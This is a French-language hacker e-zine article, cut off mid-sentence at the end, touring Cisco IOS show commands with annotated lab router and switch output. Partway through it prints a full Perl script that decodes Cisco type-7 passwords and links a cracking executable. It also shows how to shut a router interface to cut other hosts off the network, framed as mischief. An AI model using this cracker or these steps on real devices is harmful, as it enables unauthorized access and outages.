  arap                      Show Appletalk Remote Access statistics
  arp                       ARP table 
                            // C cute a ta toute la liste des 
                            // macadress qui sont pluggs sur tel et tel port.
  async                     Information on terminal lines used as router
                            interfaces
  backhaul-session-manager  Backhaul Session Manager information
  backup                    Backup status
  bgp                       BGP information 
                            // Un protocol de routing (voir mon autre article)
  bridge                    Bridge Forwarding/Filtering Database [verbose]
  bsc                       BSC interface information
  bstun                     BSTUN interface information
  buffers                   Buffer pool statistics
  c2600                     Show c2600 information
  call                      Show call
  caller                    Display information about dialup connections
  cca                       CCA information
  ccm-manager               Call Manager Application information
  cdapi                     CDAPI information
  cdp                       CDP information
  cef                       Cisco Express Forwarding
  class-map                 Show QoS Class Map
  clns                      CLNS network information
  clock                     Display the system clock
  cls                       DLC user information
  cns                       CNS subsystem
  compress                  Show compression statistics
  configuration             Contents of Non-Volatile memory
  connection                Show Connection
  context                   Show context information
  controllers               Interface controller status
  cops                      COPS information
  debugging                 State of each debugging option
  decnet                    DECnet information
  derived-config            Derived operating configuration
  dhcp                      Dynamic Host Configuration Protocol status
  diag                      Show diagnostic information for port
                            adapters/modules
  dial-peer                 Dial Plan Mapping Table for, e.g. VoIP Peers
  dialer                    Dialer parameters and statistics
  dialplan                  Voice telephony dial plan
  diffserv                  Differentiated services
  dlsw                      Data Link Switching information
  dnsix                     Shows Dnsix/DMDP information
  docsis                    Show DOCSIS
  drip                      DRiP DB
  dspu                      Display DSPU information
  dxi                       atm-dxi information
  entry                     Queued terminal entries
  environment               Environmental monitor statistics
  exception                 exception informations
  file                      Show filesystem information
  flash:                    display information about flash: file system
  frame-relay               Frame-Relay information
  fras                      FRAS Information
  fras-host                 FRAS Host Information
  gateway                   Show status of gateway
  history                   Display the session command history
  hosts                     IP domain-name, lookup style, nameservers, and host
                            table
  html                      HTML helper commands
  idb                       List of Hardware Interface Descriptor Blocks
  interfaces                Interface status and configuration
  ip                        IP information 
                            // dans ip ya d'autre sous-show, donc un show ip &                
                            // s'imposerais!
  ipv6                      IPv6 information
  ipx                       Novell IPX information
  isis                      IS-IS routing information
  kerberos                  Show Kerberos Values
  key                       Key information
  keymap                    Terminal keyboard mappings
  lat                       DEC LAT information
  line                      TTY line information
  llc2                      IBM LLC2 circuit information
  lnm                       IBM LAN manager
  local-ack                 Local Acknowledgement virtual circuits
  location                  Display the system location
  logging                   Show the contents of logging buffers
  memory                    Memory statistics
  mgcp                      Display Media Gateway Control Protocol information
  microcode                 show configured microcode for downloadable hardware
  modemcap                  Show Modem Capabilities database
  mpls                      MPLS information 
                            // encore un routing protocol! 
                            // aprs tout c't'un routeur ;-)
  mpoa                      MPOA show commands
  nbf                       NBF (NetBEUI) information
  ncia                      Native Client Interface Architecture
  netbios-cache             NetBIOS name cache contents
  node                      Show known LAT nodes
  ntp                       Network time protocol
  num-exp                   Number Expansion (Speed Dial) information
  parser                    Display parser information
  pas                       Port Adaptor Information
  pci                       PCI Information
  policy-map                Show QoS Policy Map
  ppp                       PPP parameters and statistics
  printers                  Show LPD printer information
  privilege                 Show current privilege level
  processes                 Active process statistics
  protocols                 Active network routing protocols
  qdm                       Show information about QoS Device Manager
  qllc                      Display qllc-llc2 and qllc-sdlc conversion
                            information
  queue                     Show queue contents
  queueing                  Show queueing configuration
  radius                    Shows radius information
  random-detect-group       display random-detetct group
  registry                  Function registry information
  reload                    Scheduled reload information
  rhosts                    Remote-host+user equivalences
  rif                       RIF cache entries
  rmon                      rmon statistics
  route-map                 route-map information
  rtpspi                    RTP Service Provider Interface
  rtr                       Response Time Reporter (RTR)
  rudpv1                    Rudpv1 information
  running-config            Current operating configuration
  saa                       Service Assurance Agent information
  sdllc                     Display sdlc - llc2 conversion information
  services                  LAT learned services
  sessions                  Information about Telnet connections
  sgbp                      SGBP group information
  sip-ua                    Show SIP User Agent
  smf                       Software MAC filter
  smrp                      Simple Multicast Routing Protocol(SMRP) information
  sna                       Display SNA host information
  snapshot                  Snapshot parameters and statistics
  snmp                      snmp statistics
  source-bridge             Source-bridge parameters and statistics
  spanning-tree             Spanning tree topology
  srcp                      Display SRCP Protocol information
  stacks                    Process stack utilization
  standby                   Hot standby protocol information
  startup-config            Contents of startup configuration
  stun                      STUN status and configuration
  subscriber                Display the wireless subscriber unit management
                            applications
  subscriber-policy         Subscriber policy
  subsys                    Show subsystem information
  tacacs                    Shows tacacs+ server statistics
  tarp                      TARP information
  tcp                       Status of TCP connections
  tdm                       TDM connection information
  tech-support              Show system information for Tech-Support
  template                  Template information
  terminal                  Display terminal configuration parameters
  tgrm                      Trunk Group Resource Mananger info
  time-range                Time range
  tn3270                    TN3270 settings
  traffic-shape             traffic rate shaping configuration
  translate                 Protocol translation information
  translation-rule          Show translation rule table
  ttycap                    Terminal capability tables
  users                     Display information about terminal lines
  vc-group                  Show VC Group
  version                   System hardware and software status
  vines                     VINES information
  vlans                     Virtual LANs Information
  voice                     Voice port configuration & stats
  voip                      Voice over Internet Protocol information
  vpdn                      VPDN information
  vtemplate                 Virtual Template interface information
  whoami                    Info on current tty line
  x25                       X.25 information
  x29                       X.29 information
  xns                       XNS information
  xremote                   XRemote statistics


Bon trve de plaisanterie, voici les fameux show version:

GSR:
JessicaAlba#show version
Cisco Internetwork Operating System Software
IOS (tm) GS Software (GSR-P-M), Version 12.0(18)ST, EARLY DEPLOYMENT RELEASE
SOFTWARE (fc1)
TAC Support: http://www.cisco.com/tac
Copyright (c) 1986-2001 by cisco Systems, Inc.
Compiled Thu 09-Jul-01 21:20 by jwell
Image text-base: 0x60010950, data-base: 0x6144A000

ROM: System Bootstrap, Version 11.2(20020206:174913) [sumisra-bfr112 182],
DEVELOPMENT SOFTWARE
BOOTLDR: GS Software (GSR-BOOT-M), Version 12.0(8)S, EARLY DEPLOYMENT RELEASE
SOFTWARE (fc1)

JessicaAlba uptime is 1 day, 3 hours, 45 minutes
System returned to ROM by reload at 12:24:15 EST Mon Nov 11 2002
System restarted at 18:24:22 EST Thu Jul 25 2002

System image file is "slot0:gsr-p-mz.120-18.ST.bin"

cisco 12416/GRP (R5000) processor (revision 0x05) with 262144K bytes of memory.
R5000 CPU at 200Mhz, Implementation 35, Rev 2.1, 512KB L2 Cache
Last reset from power-on

1 Route Processor Card
2 Clock Scheduler Cards
3 Switch Fabric Cards
1 OC48 POS controller (1 POS).
2 OC192 POS controllers (2 POS).
1 Three Port Gigabit Ethernet/IEEE 802.3z controller (3 GigabitEthernet).
1 Ethernet/IEEE 802.3 interface(s)
3 GigabitEthernet/IEEE 802.3 interface(s)
3 Packet over SONET network interface(s)
507K bytes of non-volatile configuration memory.

20480K bytes of Flash PCMCIA card at slot 0 (Sector size 128K).
8192K bytes of Flash internal SIMM (Sector size 256K).
Configuration register is 0x2102

Ouan ben on peut voir toute les interfaces, pis que finalement ya de la mmoire
flash en PCMCIA l-dessus.. (je suppose que le OS est dessus, facile a upgrader
ou formatter).  Bon vu  que c'est  fatigant avoir  des pastes,  je vais  copier
seulement les lignes du 2600 qui sont diffrentes...

AngelinaJolie#show version
IOS (tm) C2600 Software (C2600-JS-M), Version 12.2(2)T1,  RELEASE SOFTWARE (fc2)
TAC Support: http://www.cisco.com/tac
Copyright (c) 1986-2001 by cisco Systems, Inc.

cisco 2621 (MPC860) processor (revision 0x200) with 60416K/5120K bytes of
memory.
M860 processor: part number 0, mask 49
Bridging software.
X.25 software, Version 3.0.0.
SuperLAT software (copyright 1990 by Meridian Technology Corp).
TN3270 Emulation software.
2 FastEthernet/IEEE 802.3 interface(s)
32K bytes of non-volatile configuration memory.
16384K bytes of processor board System flash (Read/Write)

On voit alors  que le processeur  du 2600 est  pas mal moins  fort.. et  moins
de mmoire. Bon, mme chose avec la switch :

KirstenDunst#show version
IOS (tm) C3500XL Software (C3500XL-C3H2S-M), Version 12.0(5.2)XU, MAINTENANCE
INTERIM SOFTWARE
Copyright (c) 1986-2000 by cisco Systems, Inc.

ROM: Bootstrap program is C3500XL boot loader

cisco WS-C3524-XL (PowerPC403) processor (revision 0x01) with 8192K/1024K bytes
of memory.
Processor board ID FAA0504F082, with hardware revision 0x00
Last reset from warm-reset

Processor is running Enterprise Edition Software
Cluster command switch capable
Cluster member switch capable
24 FastEthernet/IEEE 802.3 interface(s)
2 Gigabit Ethernet/IEEE 802.3 interface(s)

Encore plus minus.. faut dire qu'une  switch a l'a moins d'affaires  grer du
cot  CPU..  c'est   peine  si elle  garde  quelques affaires  en  mmoire. La
principale  diffrence  c'est   que  les   protocoles  de   routing  sont   pas
implments dans  la switch,  c'est a  qui fait  toute la  diffrence dans  la
mmoire qu'on a de besoin et du CPU.

Bon asteure  que le  ezine pse  5000ko, allons-y  avec des  commandes qui font
quelque chose de plus pouss! heh

Mettons que je veux voir les vlans configurs sur la machine.. ( partir  d'ici
je tiens  compte que  vous avez  mmoris ou  not les  noms des chix avec  les
types de machine ;-)

JessicaAlba#show vlans

No Virtual LANs configured.


I guess que Jessica aime pas full les vlans..

AngelinaJolie#show vlans

Virtual LAN ID:  1 (IEEE 802.1Q Encapsulation)

   vLAN Trunk Interface:   FastEthernet0/0

 This is configured as native Vlan for the following interface(s) :
FastEthernet0/0

   Protocols Configured:   Address:              Received:        Transmitted:

Virtual LAN ID:  1281 (IEEE 802.1Q Encapsulation)

   vLAN Trunk Interface:   FastEthernet0/0.1281

   Protocols Configured:   Address:              Received:        Transmitted:
           IP              192.168.10.2                 0                4623

Virtual LAN ID:  31 (IEEE 802.1Q Encapsulation)

   vLAN Trunk Interface:   FastEthernet0/0.31

   Protocols Configured:   Address:              Received:        Transmitted:
           IP              192.168.31.8               128               10235
          CLNS                                         55                   0


oh oh qu'est-ce que je vois!
ben  oui,  Angelina a des  vlans de  configurs..  on voit  donc  une interface
FastEthernet(FA)  et des  sous-interfaces FA.  Car oui,  grce aux  merveilleux
vlan,  on peut  faire rouler  sur la  mme interface  plusieurs "instances"  du
router.. tout ce  qu'on a faire  c'est de mettre  a dans un  vlan! Fantastique
non? si on regarde sur la switch c'est pas mal diffrent du router :

KirstenDunst#show vlan      
VLAN Name                             Status    Ports
---- -------------------------------- --------- -------------------------------
1    default                          active    Fa0/13, Fa0/14, Fa0/15, Fa0/16,
                                                Fa0/17, Fa0/18, Fa0/19, Fa0/20,
                                                Fa0/21, Fa0/22, Fa0/23, Fa0/24,
                                                Gi0/1
10   VL10                             active   
11   VL11                             active   
12   VLAN0012                         active   
13   VLAN0013                         active


Lorsque la switch a beaucoup de  ports, elle risque d'avoir beaucoup de vlans..
m'enfin c'est avec cette commande qu'on peut voir dans quel vlan est plugg  un
port.. quand mme pseudo-pratique.  Sur la switch on  peut aussi savoir la  mac
address plugg avec le port :

KirstenDunst#show mac-address-table
Dynamic Address Count:                 601
Secure Address Count:                  0
Static Address (User-defined) Count:   0
System Self Address Count:             49
Total MAC addresses:                   650
Maximum MAC addresses:                 8192
Non-static Address Table:
Destination Address  Address Type  VLAN  Destination Port
-------------------  ------------  ----  --------------------
0000.0301.0102       Dynamic          1  GigabitEthernet0/2
0000.0401.0102       Dynamic          1  GigabitEthernet0/2
0000.0501.0102       Dynamic          1  GigabitEthernet0/2
0000.5008.cc4d       Dynamic          1  FastEthernet0/24
0000.c0a8.0102       Dynamic        501  GigabitEthernet0/2
0000.c0a8.0202       Dynamic        502  GigabitEthernet0/2
0000.c0a8.0502       Dynamic        503  GigabitEthernet0/2
0001.0235.71d1       Dynamic          1  FastEthernet0/24


bon, la c'est  beau tout a,  mais comment on  fait pour voir  les dtails  les
plus intimes de  chaque interfaces? et  bien c'est "show  interfaces" pour tout
les machines.. voici un sample de Jessica :

JessicaAlba#show interfaces
GigabitEthernet1/0 is up, line protocol is up // a veut dire que le laser 
  // est ouvert, et que le routeur gre le port..
  Hardware is GigMac 3 Port GigabitEthernet, address is 0003.f00d.c001 (bia
  0003.f00d.c001) // BTW ce port la c'est dla fibre optique quand mme..
  Internet address is 192.176.17.120/24 // Le ip et le netmask de l'interface
  // 1500 c'est le MTU par dfaut, la Bandwidth (BW) est exprim en KiloBITS,
  //  dans le cas de cette interface, il y en a un million
  //                            (1 gigabit/sec! d'ou le nom de l'interface..)
  MTU 1500 bytes, BW 1000000 Kbit, DLY 10 usec, rely 255/255, load 1/255
  Encapsulation ARPA, loopback not set
  Keepalive set (10 sec)
  Full-duplex mode, link type is force-up, media type is SX
  output flow-control is unsupported, input flow-control is off
  ARP type: ARPA, ARP Timeout 04:00:00
  Last input 00:00:08, output 00:00:00, output hang never
  Last clearing of "show interface" counters never
  Queueing strategy: fifo
  Output queue 0/40, 0 drops; input queue 0/75, 150 drops
  5 minute input rate 0 bits/sec, 0 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
     // bon l pour ces stats l je suis pas sr si c'est un 5minutes ou depuis
     // le uptime.. mais vu que la machine avait juste 1 jour de uptime, et que
     // c'est une machine test, c'est srement depuis que le port est "up"...
     45094188 packets input, 3653684704 bytes, 0 no buffer
     Received 235909 broadcasts, 0 runts, 107781 giants, 0 throttles
     1273250 input errors, 0 CRC, 0 frame, 1273250 overrun, 0 ignored
     0 watchdog, 3526047 multicast, 0 pause input
     15685 packets output, 1227106 bytes, 0 underruns
     0 output errors, 0 collisions, 3 interface resets
     0 babbles, 0 late collision, 0 deferred
     14 lost carrier, 0 no carrier, 0 pause output
     0 output buffer failures, 0 output buffers swapped out
POS3/0 is down, line protocol is down // a veut dire que le laser est pas
  // allum, et qu'on s'en sert pas dans le routeur..
  Hardware is Packet over SONET  // SONET c'est le protocole qui marche avec la
  // fibre optique pis le PPP. On parle d'une OC48 ici, alors le MTU est a 4470
  //  (et ben!) pis la speed c'est 2,488 gigabits/sec!
  MTU 4470 bytes, BW 2488000 Kbit, DLY 100 usec, rely 255/255, load 1/255
  Encapsulation HDLC, crc 32, loopback not set
  Keepalive set (10 sec)
  Scramble disabled
  Last input never, output never, output hang never
  Last clearing of "show interface" counters never
  Queueing strategy: fifo
  Output queue 0/40, 0 drops; input queue 0/75, 0 drops
  5 minute input rate 0 bits/sec, 0 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
  // Vu que le port est "down" donc closed, on a pas d'infos sur ce qui passe
     0 packets input, 0 bytes, 0 no buffer
     Received 0 broadcasts, 0 runts, 0 giants, 0 throttles
              0 parity
     0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
     0 packets output, 0 bytes, 0 underruns
     0 output errors, 0 applique, 0 interface resets
     0 output buffer failures, 0 output buffers swapped out
     2 carrier transitions
POS4/0 is administratively down, line protocol is down /mme chose que l'autre
  Hardware is Packet over SONET
  Internet address is 2.2.2.2/30
  // OC192, mme MTU que le OC48, mais un ti peu plus de bandwidth
  // (en facteur multiplicateur bien sur haha ;-) avec 9,952 gigabits/sec!
  MTU 4470 bytes, BW 9 952 000 Kbit, DLY 100 usec, rely 255/255, load 1/255
  Encapsulation PPP, crc 32, loopback not set
  Keepalive set (10 sec)
  Scramble enabled
  LCP Closed
  Closed: IPCP, CDPCP
  Listen: TAGCP
  Last input 1d00h, output 1d00h, output hang never
  Last clearing of "show interface" counters never
  Queueing strategy: fifo
  Output queue 0/40, 0 drops; input queue 0/75, 0 drops
  5 minute input rate 0 bits/sec, 0 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
     1415 packets input, 22540 bytes, 0 no buffer
     Received 0 broadcasts, 6 runts, 2 giants, 0 throttles
              0 parity
     223 input errors, 215 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
     4602 packets output, 189336 bytes, 0 underruns
     0 output errors, 0 applique, 6 interface resets
     0 output buffer failures, 0 output buffers swapped out
     5 carrier transitions
Loopback0 is up, line protocol is up
  Hardware is Loopback
  Description: Used for loopback, this is fun.
  Internet address is 199.199.199.120/32
  MTU 1514 bytes, BW 8000000 Kbit, DLY 5000 usec, rely 255/255, load 1/255
  Encapsulation LOOPBACK, loopback not set
  Last input never, output never, output hang never
  Last clearing of "show interface" counters never
  Queueing strategy: fifo
  Output queue 0/0, 0 drops; input queue 0/75, 0 drops
  5 minute input rate 0 bits/sec, 0 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
     0 packets input, 0 bytes, 0 no buffer
     Received 0 broadcasts, 0 runts, 0 giants, 0 throttles
     0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
     0 packets output, 0 bytes, 0 underruns
     0 output errors, 0 collisions, 0 interface resets
     0 output buffer failures, 0 output buffers swapped out
Ethernet1 is up, line protocol is up // oui, c'est une plug ben normale...
  Hardware is 10/100 Ethernet, address is 0003.f00d.c3ff (bia 0003.f00d.c3ff)
  Description: interface for management // voila pkoi elle est normal, c'est
  // par cette interface qu'on se branche en telnet pour administrer la machine.
  Internet address is 10.10.12.44/16
  MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec, rely 255/255, load 1/255
  Encapsulation ARPA, loopback not set
  Keepalive set (10 sec)
  ARP type: ARPA, ARP Timeout 04:00:00
  Last input 00:00:00, output 00:00:02, output hang never
  Last clearing of "show interface" counters never
  Queueing strategy: fifo
  Output queue 0/40, 0 drops; input queue 0/75, 1359 drops
  5 minute input rate 2000 bits/sec, 3 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
     697969 packets input, 70764617 bytes, 0 no buffer
     Received 680547 broadcasts, 0 runts, 0 giants, 0 throttles
     0 input errors, 4323 CRC, 0 frame, 536 overrun, 0 ignored
     0 input packets with dribble condition detected
     16532 packets output, 1680846 bytes, 0 underruns
     2 output errors, 6 collisions, 2 interface resets
     0 babbles, 2 late collision, 31 deferred
     4 lost carrier, 0 no carrier
     0 output buffer failures, 0 output buffers swapped out


Bon, videmment j'en ai  enlev un peu, il  avait d'autres Gigabit et  des POS!
Elle est bourre  cette Jessica :-)  Il est aussi   noter que  le router tait
dans un environnement de test, donc  il n'tait pas vraiment sur Internet..  ce
qui explique les IPs de LAN 192.*, mais il y a rien qui change entre un LAN  ou
Internet...  part les  IPs. De plus vous  avez vu de la  speed en bits, et  du
transfert en bytes, c'est fuck j'avoue. En thorie on serait suppos  toujours
utiliser des  bits, mais  les bytes  sont ce  que vous  comprennez.. donc  pour
arranger la polmique du OC192, si  on prend le 9,952 gigabits/sec et  qu'on le
met en gigabytes/sec, a donne 1,244. Et oui, 1,244 gig/sec comme on dirait par
chez nous sur Internet.. heh.
Aussi, une autre commande pour les voyeurs pourrait tre trs intressante :

JessicaAlba# show run
Building configuration...

Current configuration : 3017 bytes
!
! Last configuration change at 01:15:25 EST Fri Nov 23 2002
!
version 12.0
no service pad
service timestamps debug datetime localtime
service timestamps log datetime localtime
service password-encryption
!
hostname JessicaAlba
!
boot system flash gsr-p-mz.120-18.ST.bin
logging rate-limit console 10 except errors
enable secret 5 $1$EvGk$ilJKqn3ajrEDfCKFU7x5C0
enable password 7 110A1016141D // a j'en parle plus bas
!
clock timezone EST -5
clock summer-time EST recurring
!
!
interface Loopback0
 description Used for loopback, this is fun.
 ip address 200.200.200.6 255.255.255.255
!
interface FastEthernet0/0
 no ip address
 speed 100
 full-duplex
!
interface FastEthernet0/0.130 // La il faut que j'explique le .130. En faite
 // cette interface n'existe pas vraiment, c'est une interface virtuelle.
 // 0/0 existe, et est la FastEthernet  la slot 0 dans le rack 0, mais le
 // .130  t dtermin dans la configuration. a sert seulement pour les
 // interfaces Ehternet,  cause que ce sont les seules  supporter les vlans
 // (PPP ya pas de vlan dans a, c'est plugg direct).
 encapsulation dot1Q 130 // Voici donc le dot1Q (aka le VLAN) associ.
 // Vous comprenez donc que le .130  juste t mis la pour se retrouver dans
 // les VLANS.. je sais pas par coeur le max qu'on peut mettre sur les Ciscos,
 // mais c'est beaucoup (>100 au moins).
 ip address 113.100.1.6 255.255.255.0
!
interface FastEthernet0/0.133
 encapsulation dot1Q 133
 ip address 113.100.4.6 255.255.255.0
 ip ospf cost 100 // Config de protocole
!
interface FastEthernet0/1
 description interface for management 
 ip address 10.10.12.41 255.255.0.0
 speed 100
 full-duplex
!
ip classless
ip route 10.0.0.0 255.0.0.0 10.10.0.1 // a c'est des routes statiques de settes
ip route 100.100.0.0 255.255.255.0 Null0
ip route 100.100.1.0 255.255.255.0 Null0
ip route 100.100.2.0 255.255.255.0 Null0
no ip http server // Me semble que a c pour la configuration HTTP du routeur..
!
!
!
! // SNMP : Simple Network Management Protocol (a s'explique tout seul heh)
snmp-server community public RO
snmp-server community private RW
snmp-server manager
!
dial-peer cor custom
!
!
!
!
! // a c juste des config pour les terminaux de configurations..
line con 0
line aux 0
line vty 0 4
 exec-timeout 0 0
 password 7 02050D480809
 login
line vty 5 10
 exec-timeout 0 0
 password 7 02050D480809
 login
line vty 11 15
 exec-timeout 0 0
 login
! // NTP: Network Time Protocol (me semble)
ntp clock-period 17180497
ntp server 10.10.12.37
!
end

Avec a on voit tout ce qui a t sett sur le router/la switch..
Intressent...
Mais bon, c'est bien le fun faire le voyeur comme a, faudrait tre capable  de
regarder des choses plus  prcises, et surtout faire  de la marde! heu  je veux
dire configurer des choses qui pourrait nous tre utile... ;-)

Bon la  jsuis sure  que mme  si vous  avez aucune  ide de  quoi faire avec un
router, vous avez quand mme rester fig sur :
             enable secret 5 $1$EvGk$ilJKqn3ajrEDfCKFU7x5C0
             enable password 7 110A1016141D
C'est vidant!
Bon,  ce que j'ai pu comprendre le "secret" c'est le premier password demand,
pis le "password"  c'est celui qui  est demand aprs  "enable".. c'est bizzare
car  sur le  routeur que  j'ai entre  les mains  prsentement le  secret et  le
password sont  les mmes...  pourtant l'explication  est simple  : l'algorithme
utilis est pas la mme. Selon  cisco le password c'est un algorithme  fifi, et
on peut trouver un crack sur internet.

[.. 20 secondes plus tard ..]

#!/usr/bin/perl -w
#
# Credits for orginal code and description hobbit@avian.org,
# SPHiXe, .mudge et al. and for John Bashinski 
# for Cisco IOS password encryption facts.
#
# Use for any malice or illegal purposes strictly prohibited!
#

@xlat = ( 0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f, 0x41,
          0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72, 0x6b, 0x6c,
          0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53 , 0x55, 0x42 );

while (<>) {
        if (/(password|md5)\s+7\s+([\da-f]+)/io) {
            if (!(length($2) & 1)) {
                $ep = $2; $dp = "";
                ($s, $e) = ($2 =~ /^(..)(.+)/o);
                for ($i = 0; $i < length($e); $i+=2) {
                    $dp .= sprintf "%c",hex(substr($e,$i,2))^$xlat[$s++];
                }
                s/7\s+$ep/$dp/;
            }
        }
        print;
}

hum, j'aime pas la manire qu'on s'en sert.. j'vas modifier a un peu..

[.. 20 secondes plus tard! haha joke a ma prit un bon 10min ak le debugage ..]

-------------------- >8 cut here --------------------

#!/usr/bin/perl -w
# chisco.pl : dcrypte les password "type 7" de Cisco IOS.
# Refaite vite vite par LastCall_ pour Mindkind 11

# Credits for orginal code and description hobbit@avian.org,
# SPHiXe, .mudge et al. and for John Bashinski 
# for Cisco IOS password encryption facts.
#
@xlat = ( 0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f, 0x41,
          0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72, 0x6b, 0x6c,
          0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53 , 0x55, 0x42 );
die 'a marche de mme : "perl chisco.pl password"' if (not defined $ARGV[0]);
my $unf = $ARGV[0];
print "Pass crypter-poche : $unf\nPass dcrypt par 11/2 nain unijambiste: ";
if (!(length($ARGV[0]) & 1)) {
  $ep = $ARGV[0]; $dp = "";
  ($s, $e) = ($ARGV[0] =~ /^(..)(.+)/o);
  for ($i = 0; $i < length($e); $i+=2) {
    $dp .= sprintf "%c",hex(substr($e,$i,2))^$xlat[$s++];
  }
  $unf =~ s/$ep/$dp/;
}
print "$unf \n\n";

-------------------- cut here 8< --------------------

C'est plus cute la? heh
Pis tant qua faire si vous tes vedge en plus d'avoir windows :
                           http://bdsltd.co.uk/network/cisco/GetPass.exe
On peut pas dire que je vous ai jamais rien donn crue dans bouche :-P

Bon, alors vous  pouvez vous amuser   comprendre l'algorithme  si vous voulez,
mais d'un seul coup  d'oeil de mme (j'ai  quand mme goss un  gros 10 MINUTES
sur  le  code   lala)  a  ma   dlair  d'une  clef   de  substitution  utilise
intelligemment, mais la clef est facilement trouvable quand on a un password et
son rsultat crypt donc c de la vrai bouette.

Pour l'autre, le secret, vous l'avez srement reconnu, c'est du bon vieux MD5.

Pour en faire un rsum, le "secret" c le pass pour se connecter sur le router,
pis le "password" c le pass aprs enable. Il est a noter qu'on peut avoir  des
users aussi (genre on fait "login" aprs la premire tape d'authentification),
et qu'ils sont encrypts avec le fameux type 7 (de password..).

Selon cisco, on devrait considrer ces passwords comme du plain text. hehehe

Pour un maudit bon paquet de dtails sur les dernires choses, allez voir
http://www.cisco.com/warp/public/701/64.html
c'est intressent.
D'ailleurs tout le site de cisco est trs intressent 
http://www.cisco.com/univercd/cc/td/doc/product/iaabu/idpg/intro.htm
IDS!
Et si vous voulez faire un overflow : http://www.cisco.com/warp/public/707/

Seul problme c'est que les chances  que vous touchiez a un firewall  Cisco une
fois dans vie sont pratiquement nulles,  moins que votre objectif de  carrire
soit : gars de chez Cisco qui configure des routeurs  200$ de l'heure. heh

bon passons a autre chose...
interface FastEthernet0/1
 description interface for management 
 ip address 10.10.12.41 255.255.0.0
 speed 100
 full-duplex
!

interface for management.. interface comme management.. comment je fais pour 
me plugger la dessus putain...
...si je nslookup JessicaAlba, a me donne :
Name:   JessicaAlba
Address:  10.10.12.41

J'vas prendre un 10 secondes de break pour ceux qui ont pas compris encore...

Et ben  oui! jme  suis connect  sur jessicaalba  en telnet  pour pouvoir taper
toute ces  commandes! donc  l'interface que  vous voyez  la, c'est  l'interface
utilise pour telnetter la machine!

Donc si vous  la disabler, vous  tes dans marde...  par contre, kc  qu'on peut
faire si on veut mettre tlm dans marde sauf nous?
(Remarquez c'est pas une bonne chose, si vous voulez pas alerter personne)
interface FastEthernet0/0.130
 encapsulation dot1Q 130
 ip address 113.100.1.6 255.255.255.0
!

Cette interface  la s'occupe  du vlan  qui est  link avec  113.100.1.6 avec un
network de 255.255.255.0 ya fort  parier que de 113.100.1.1  113.100.1.254 ya
des affaires de pluggs dessus... que  vous pouvez faire planter avec le  reste
du monde...
interface FastEthernet0/0.133
 encapsulation dot1Q 133
 ip address 113.100.4.6 255.255.255.0
 ip ospf cost 100
!

Si j'fais un "show ip route", je vois

JessicaAlba #show ip route
Codes: C - connected, S - static, I - IGRP, R - RIP, M - mobile, B - BGP
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area 
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
       E1 - OSPF external type 1, E2 - OSPF external type 2, E - EGP
       i - IS-IS, L1 - IS-IS level-1, L2 - IS-IS level-2, ia - IS-IS inter area

       * - candidate default, U - per-user static route, o - ODR
       P - periodic downloaded static route

Gateway of last resort is not set

C       113.100.4.0 is directly connected, FastEthernet0/0.133
C       113.100.1.0 is directly connected, FastEthernet0/0.130

Bon, donc si  je trouve une  machine dans le  network 113.100.4.0 et  que oh le
grand hasard c'est un autre routeur, je check sa routing table pis je vois :

S       113.100.1.0 [1/0] via 113.100.4.6

Bingo, je peux le rendre aveugle  sur les choses qu'il voit sur  le 113.100.1.0
si je lui barre le 113.100.4.6...

Vu comme a, c'est assez simple  comprendre, le router sait par ou passer.. si
mettons  ce sont  des machines  ben vous  pouvez toujours  utiliser la  mthode
suivante au lieu de faire ip route :
Sending 5, 100-byte ICMP Echos to 113.100.4.6, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 1/2/4 ms

Le  ping c'est  rendu! C'est  un peu   normal car  le ip  de ma  machine  c'est
113.100.4.88  dans 255.255.255.0..  donc le  mme network.  maintenant  pignons
113.100.1.6 qui est PAS dans le mme network..
Sending 5, 100-byte ICMP Echos to 113.100.1.6, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 1/2/4 ms
a marche!
Donc a veut dire qui cette machine l possde la route pour se rendre  l'autre
bord.. vous avez  donc juste   figurer par vous-mme  que c'est le  router que
vous avez qui fait la job..  (c'est  pas toujours vrai, il peut  avoir d'autres
routers ailleurs, finalement une  autre  route que  celle qui passe   par notre
router... pour se rendre a la mme place.)

M'enfin, trve de plaisanteries, on veut que l'autre machine puisse pu voir  le
reste. Quoi faire? On a 2 choix,  dans le cas prsent on peut scrapper  le vlan
(vu que  c'est le  router qui  dcide dans  quel vlan  y (avec dot1q), mais je
crois  qu'on  devrais  opter  pour  la  grosse  mthode  mchante  :   DISABLER
LINTERFACE!.  Autrement  dit,  c'est  tourner la  switch  on  a  off, pour  cet
interface la.

donc on rentre en mode de configuration :
JessicaAlba#conf t
Enter configuration commands, one per line.  End with CNTL/Z.
JessicaAlba(config)#
JessicaAlba(config)#interface FastEthernet0/0.133
JessicaAlba(config-subif)#shutdown 
JessicaAlba(config-subif)#exit
JessicaAlba(config)#exit

JessicaAlba#

C'est tout..
Si on retourne sur  notre machine cible, et  qu'on ping soit l'autre  interface
dans  le  mme  network  (celle qu'on  vienne  de  shutdowner)  ou ben  l'autre
interface qui tait router :
Sending 5, 100-byte ICMP Echos to 113.100.1.6, timeout is 2 seconds:
.....
Success rate is 0 percent (0/5)
et ben sa fouarre!
c le fun
maintenant pour le renabler c'est :
  conf t
    int fa 0/0.133
    no shut
    exit
  exit
facile!

Sending 5, 100-byte ICMP Echos to 113.100.1.6, timeout is 2 seconds:
.!!!!
Success rate is 80 percent (4/5), round-trip min/avg/max = 1/2/4 ms

HUM
Faut spcifier que a prend quand mme un ti peu de temps a un router pour
